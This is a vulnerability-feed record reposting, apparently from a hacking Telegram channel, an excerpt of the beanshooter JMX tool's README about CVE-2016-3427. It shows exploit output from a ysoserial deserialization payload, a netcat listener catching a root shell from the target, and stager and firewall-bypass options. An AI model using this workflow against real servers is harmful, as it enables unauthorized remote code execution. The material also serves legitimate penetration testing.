{"uuid": "1a0db582-23a6-4cf4-a6e4-0689c7b35660", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-3427", "type": "seen", "source": "https://t.me/hacking_Attack/17403", "content": "[+] Creating ysoserial payload...done.\n[+] cve-2016-3427 - Sending serialized Object as credential.\n[+]     An exception during the connection attempt is expected.\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... failed!\n[*]\n[*] Caught SecurityException with content 'Authentication failed! Credentials should be String[] instead of java.util.HashSet'.\n[*]     Target is most likely vulnerable to cve-2016-3427.\n\n[qtc@kali ~]$ nc -vlp 4444\nNcat: Version 7.80 ( https://nmap.org/ncat )\nNcat: Listening on :::4444\nNcat: Listening on 0.0.0.0:4444\nNcat: Connection from 172.18.0.2.\nNcat: Connection from 172.18.0.2:46000.\nid\nuid=0(root) gid=0(root) groups=0(root)  \nAdvanced Usage\n  Above it was already mentioned that beanshooter can read options from a configuration file. Options that would require long values,  like the name of the MBean class or the corresponding ObjectName can only be passed inside of the configuration file.  The following snipped shows you the default configuration file that is used by beanshooter internally:  defaultCmd=id\nstagerPort=8080\nstagerHost=127.0.0.1\n\nusername=\npassword=\nboundName=jmxrmi\n\njarPath=/opt/beanshooter/tonka-bean/target/\njarName=tonka-bean.jar\n\nysoserial=/opt/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar\n\nmLetName=DefaultDomain:type=MLet\nbeanClass=de.qtc.tonkabean.TonkaBean\nobjectName=MLetTonkaBean:name=TonkaBean,id=1  It is possible to overwrite each option by specifying a custom configuration file using the --config parameter. The custom config file does not need to contain  all options. Options that are not present were simply set to the default value. If you want your custom configuration to apply for each usage of beanshooter, you  can also modify the config.properties (https://github.com/qtc-de/beanshooter/blob/master/src/config.properties) file inside of the src (https://github.com/qtc-de/beanshooter/blob/master/src) folder before compiling the project.  In situations where the targeted server cannot access your host because of restrictive firewall rules, you may be able to use the --remote-stager option to specify a remote stager host.  If you have access to the remote-stager, you can also use beanshooter to deploy the MBean by using the --stager-only option, which only spawns the HTTP listener. When using this option,  no additional command line parameters are required. However, on your attacking machine you still need to specify the correct --stager-host, either by using command line options or a  configuration file.  \nWhy beanshooter\n  Here are some of the advantages why you may choose beanshooter in favor of other JMX scanning solutions:    Full SSL support for JMX objects and the rmiregistry  Automatic redirection for objects bound to e.g. localhost  Full JMXMP support with almost all available authentication options  ysoserial integration to test for insecure deserialization  CVE-2016-3427 detection  Autocompletion for bash  Vulnerable docker container to run tests against    \nCredits\n  The initial idea and also the initial codebase of the tool were taken from this blogpost (https://www.optiv.com/blog/exploiting-jmx-rmi).  For the JMXMP implementation, this project (https://github.com/felixoldenburg/jmxmp-lifecycle-listener) was really helpful.  Some functionalities were inspired by the mjet project (https://github.com/mogwailabs/mjet)    Copyright 2020, Tobias Neitzel and the beanshooter contributors.  \n\nDownload Beanshooter (https://github.com/qtc-de/beanshooter)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:05.703901Z"}